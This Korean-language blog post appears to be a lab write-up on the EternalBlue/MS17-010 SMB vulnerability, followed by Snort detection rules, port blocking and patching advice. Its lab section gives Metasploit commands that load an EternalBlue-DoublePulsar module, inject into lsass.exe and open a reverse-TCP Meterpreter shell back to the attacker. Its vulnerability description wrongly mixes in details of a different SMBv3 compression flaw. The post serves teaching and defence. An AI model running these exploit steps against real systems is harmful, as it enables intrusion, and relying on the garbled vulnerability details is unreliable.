1. SMB (Server Message Block)

- Common Internet File System, CIFS라고도 함

- 1990년에 도스, 윈도우, NT, OS/2, 유닉스 등 난잡했던 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어짐

- 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜

- 주로 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용

버전 설명
SMBv1 - MS-DOS부터 Windows 10까지 존재하는 구식 프로토콜
- 보안을 고려하지 않고 만들어져, 윈도우 침투에 자주 악용하는 루트로 이용
- 보안 결함에도 불구하고 호환성 및 구현이 쉬워 NAS나 프린터 제작사들이 계속해서 SMBv1만 지원
SMBv2 - 2006년 제작되어 Windows Vista부터 탑재
- 이전 버전과의 호환성은 전혀 없음 > Windows XP 이하의 운영체제에서는 사용할 수 없음
- 속도와 보안 모두 기존보다 월등
- 일반 사용자는 SMBv2로도 아직까지 충분
SMBv3 - SMBv2에 속도 최적화 및 각종 기능을 추가한 것
- 2012년에 제작되어 Windows 8부터 탑재
- SMBv2와도 통신이 가능
- SQL 데이터 및 가상화 솔루션 간 파일 전송, 서버 클러스터 관리, 분산 전송을 통한 장애조치 등 데이터센터와 같은 서버 간 통신을 위한 것

 

2. 이터널블루 (EthernalBlue)

- 미 국가안보국(NSA)의 해킹 도구

- SMB 프로토콜의 원격코드 실행 취약점(MS17-010)을 이용

- 섀도우 브로커즈(Shadow Brokers) 해킹 그룹에 의해 유출

※ 더블펄서(DoublePulsar)는 이터널블루 익스플로잇에 의해 설치되며, 이미 감염된 시스템에서 악성코드 삽입 및 실행을 위한 백도어로, 워너크라이 랜섬웨어 공격에서 이터널블루와 함께 사용

 

3. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-0143

- MS SMB 프로토콜의 메모리 파괴 취약점으로, 인증을 거치지 않은 공격자가 원격에서 명령 실행이 가능

- OS가 SMB 3.1.1 프로토콜의 압축패킷을 처리하는 과정에서 발생하는 오류로 인해 발생하는 취약점

- 공격자는 조작된 패킷을 악용하여 원격에서 인증을 거치지 않은 상태로 원격코드 실행이 가능

- SMB 클라이언트를 공격해 특정한 웹페이지, 압축파일, 공유파일, office 문서 등을 조작하는 방식으로 취약점 트리거 가능

- 해당 취약점을 이용해 워너크라이 랜섬웨어를 유포

영향받는 버전
- Windows 10
- Windows 8.1
- Windows RT 8.1
- Windows 7
- Windows Server 2016
- Windows Server 2012 R2
- Windows server 2008 R2 SP1 SP2

 

취약점명 CVE 번호 MS 번호
Windows SMB 원격 코드 실행 취약점 CVE-2017-0143 MS17-010
CVE-2017-0144
CVE-2017-0145
CVE-2017-0146
CVE-2017-0147

 

3.1 실습

희생자 PC
- OS : Windows 7 Ultimate x64
- IP : 192.168.56.116

공격자 PC
- OS : Kali Linux
- IP : 192.168.56.102

 

- 희생자 PC에 SMB Port가 열려 있는지 확인

[사진 1] 445/TCP open

 

- 메타스플로잇 실행

service postgresql start
msfconsole

[사진 2] 메타스플로잇 실행

 

- ms17_010 모듈 실행 및 옵션 설정

- iso를 변경하면서 시도하였지만, NOT appear vulnerable이 확인

※ 아래부터 보고서를 기준으로 작성

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.56.116
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[사진 3] 패치된 버전으로 인해 취약점 없음

- 취약한 서버일 경우 [+]로 정보가 표시

[사진 4] 취약 서버 확인

- EternalBlue를 설치하여, 메타스플로잇 프레임워크에 추가

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd Eternalblue-Doublepulsar-Metasploit
cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/

[사진 5] 이터널블루 설치 및 추가

 

- 이터널블루-더블펄서 모듈 실행

msfconsole
msf6 > use exploit/windows/smb/eternalblue_doublepulsar 
msf6 exploit(windows/smb/eternalblue_doublepulsar) > show options

[사진 6] 옵션 설정

- 익스플로잇 전 대상의 아키텍처와 IP 등 옵션을 설정

옵션 설명
DOUBLEPULSARPATH  더블펄서 경로 지정
ETERNALBLUEPATH 이터널블루 경로 지정
PROCESSINJECT 악성코드가 들어갈 프로세스 지정
x64는 lsass.exe 사용
RHOSTS  공격 대상 IP
RPORT 445 (SMB Port)
TARGETARCHITECTURE 공격 대상 운영체제 버전 (x86, x64)
WINEPATH /root/.wine/drive_c/
Exploit target 공격 대상 OS 설정
  LHOST 로컬 IP 주소
payload 페이로드 생성

 

msf6 exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT lsass.exe
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set RHOSTS 192.168.56.116
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x64
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set target 8
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reverse_tcp      
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set LHOST 192.168.56.102

[사진 7] 옵션 확인

- 익스플로잇 결과 피해 시스템으로부터 공격 시스템으로 세션이 설정

- 피해자 PC 정보 확인, 현재 경로 파일 확인, PC화면 캡쳐 등 악성 동작 수행 가능

※ /root/.wine/drive_c/eternal11.dll 관련 실패 메시지 발생 시 해당 경로에 디렉터리를 생성 ex) mkdir -p /root/.wine/drive_c/

[사진 8] 익스플로잇 성공

3. 대응방안

3.1 서버측면

① OS 최신 보안 패치 적용

- 아래 링크에서 버전별 업데이트 적용

 

Microsoft 보안 공지 MS17-010 - 긴급

Microsoft 보안 공지 MS17-010 - 긴급 아티클 12/06/2019 읽는 데 31분 걸림 기여자 4명 피드백 이 문서의 내용 --> Microsoft Windows SMB 서버용 보안 업데이트(4013389) 게시된 날짜: 2017년 3월 15일 버전: 1.0 요약

learn.microsoft.com

 

3.2 네트워크 측면

① 탐지 룰 적용

- 공개된 Snort 정보

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION. Non-Fragmented NT Trans Request with command NT Rename (CVE-2017-0146)"; flow: established, to_server; content: "|FF|SMB|A0|"; offset: 4; depth: 5; byte_extract: 4, 35, NTTrans.TotalDataCount, relative, little; byte_test: 4, =, NTTrans.TotalDataCount, 16, relative, little; content: "|05 00|"; distance: 25; within: 2; isdataat:300, relative; flowbits: set, EternalRomance.RaceCondition.Possible; flowbits: noalert; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001717; rev: 2;)

alert smb $HOME_NET any -> any any (msg: "ATTACK [PTsecurity] NT Trans Response"; flow: established, from_server; content: "|FF|SMB|A0|"; offset: 4; depth: 5; flowbits: isset, EternalRomance.RaceCondition.Possible; flowbits: unset, EternalRomance.RaceCondition.Possible; flowbits: noalert; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001718; rev: 1;)

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION Race Condition Exploit. NT Trans Secondary packet follows NT Trans Req (CVE-2017-0146)"; flow: established, no_stream, to_server; content: "|FF|SMB|A1|"; flowbits: isset, EternalRomance.RaceCondition.Possible; flowbits: set, EternalRomance.RaceCondition.Attempt; threshold: type both, track by_src, count 1, seconds 60; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001719; rev: 1;)

alert smb $HOME_NET any -> any any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALCHAMPION Successful kernel data leak (CVE-2017-0146)"; flow: established, from_server; content: "|FF|SMB|A0|"; content: "Frag"; within: 115; flowbits: isset, EternalRomance.RaceCondition.Attempt; reference: cve, 2017-0146; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001720; rev: 1;)

alert smb any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Metasploit MS17-010 ETERNALROMANCE exploitation (CVE-2017-0143)"; flow: established, to_server; content: "|FF|SMB|A1|"; content: "|FF|SMB|A0|"; distance: 0; content: "|05 00|"; distance: 64; within: 2; content: "|FF|SMB|25|"; distance: 13; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; content: "|FF|SMB|25|"; distance: 67; within: 5; threshold: type both, track by_src, count 1, seconds 60; reference: cve, 2017-0143; reference: url, github.com/rapid7/metasploit-framework/commit/c9473f8cbc147fe6ff7fe27862fd3d1e9f27c4f5; reference: url, www.crowdstrike.com/blog/badrabbit-ms17-010-exploitation-part-one-leak-and-control; classtype: attempted-admin; reference: url, github.com/ptresearch/AttackDetection; sid: 10001723; rev: 1; )

 

② 네트워크 방화벽 및 윈도우 방화벽에서 SMB 관련 포트 차단

- SMB를 사용하지 않는 경우 방화벽에서 포트를 차단

프로토콜 포트번호
UDP 137
138
TCP 139
445

 

3.3 기타

① 최신의 백신상태로 유지 및 실시간 감지모드를 이용하여 악성코드의 실행을 차단

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2017-0143

- https://rjswn0315.tistory.com/153

- https://dailylearn.tistory.com/m/125

https://namu.wiki/w/SMB

https://learn.microsoft.com/ko-kr/security-updates/securitybulletins/2017/ms17-010

- https://github.com/ptresearch/AttackDetection/blob/master/MS17-010/ms17-010.rules

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=25906&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTctMDE0Mw== 

+ Recent posts